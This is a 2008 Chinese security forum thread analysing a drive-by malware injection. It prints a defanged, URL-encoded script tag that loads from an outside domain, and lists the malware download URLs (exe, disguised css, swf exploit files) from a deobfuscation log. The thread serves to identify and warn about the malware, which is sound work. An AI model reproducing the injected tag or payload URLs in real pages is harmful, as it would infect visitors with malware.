一个无聊之人挂的一个无聊的代码

syfwxmh

<script src=hxxp://%68%68%6A%32%2E%63%6E></script><script src=hxxp://%68%68%6A%32%2E%63%6E></script>


一个很无聊的网站上挂的
为了安全起见http替换为hxxp

请各位自行编辑到记事本里，然后测试

卡巴可以查杀

Redevil

肯定是这两个
http://d.ko546.com/new/a1.css
http://d.ko546.com/down/ko.exe

syfwxmh

除了这个还有一个orz.exe和i28.swf

Redevil

原帖由 syfwxmh 于 2008-12-27 20:45 发表
除了这个还有一个orz.exe和i28.swf

orz.exe就是ko.exe
名字不一样而已，通过网页下载到本地，就被改成了这个名字，直接下载就是ko
而css也其实是一个东西，只是被改了扩展名
swf无视

syfwxmh

swf也是exe

Redevil

原帖由 syfwxmh 于 2008-12-27 20:50 发表
swf也是exe

它本身不是

[ 本帖最后由 Redevil 于 2008-12-27 20:55 编辑 ]

qianwenxiang

关于:hxxp://hhj2.cn/解密的日志(自动模式 -  17):

AUTO>http://hhj2.cn/
AUTO>http://wm.sllgqsb.cn/a1/ilink.html
AUTO>http://wm.sllgqsb.cn/a1/flink.html
AUTO>http://www.falalijj.cn/b2.htm
AUTO>http://wm.sllgqsb.cn/a1/swfobject.js
AUTO>http://wm.sllgqsb.cn/a1/fxx.htm
AUTO>http://wm.sllgqsb.cn/a1/+
AUTO>http://wm.sllgqsb.cn/a1/fx.htm
AUTO>http://wm.sllgqsb.cn/a1/../a1/ss.htm
AUTO>http://wm.sllgqsb.cn/a1/../a1/ms06014.htm
AUTO>http://d.ko546.com/new/a1.css  ●
AUTO>http://wm.sllgqsb.cn/a1/../a1/sina.htm
AUTO>http://wm.sllgqsb.cn/a1/../a1/no.htm
AUTO>http://wm.sllgqsb.cn/a1/../a1/bfyy.htm
AUTO>http://wm.sllgqsb.cn/a1/../a1/glworld.html
AUTO>http://wm.sllgqsb.cn/a1/../a1/real.htm
AUTO>http://wm.sllgqsb.cn/a1/../a1/real.html

===================
关于:hxxp://wm.sllgqsb.cn/a1/fx.htm解密的日志(部分输出-  13):

Level 2>http://wm.sllgqsb.cn/a1/flink.html
Level 3>http://wm.sllgqsb.cn/a1/f16.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/f28.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/f45.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/f47.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/f64.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/f115.swf  ●
Level 2>http://wm.sllgqsb.cn/a1/ilink.html
Level 3>http://wm.sllgqsb.cn/a1/i47.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/i28.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/i64.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/i16.swf  ●
Level 3>http://wm.sllgqsb.cn/a1/i45.swf  ●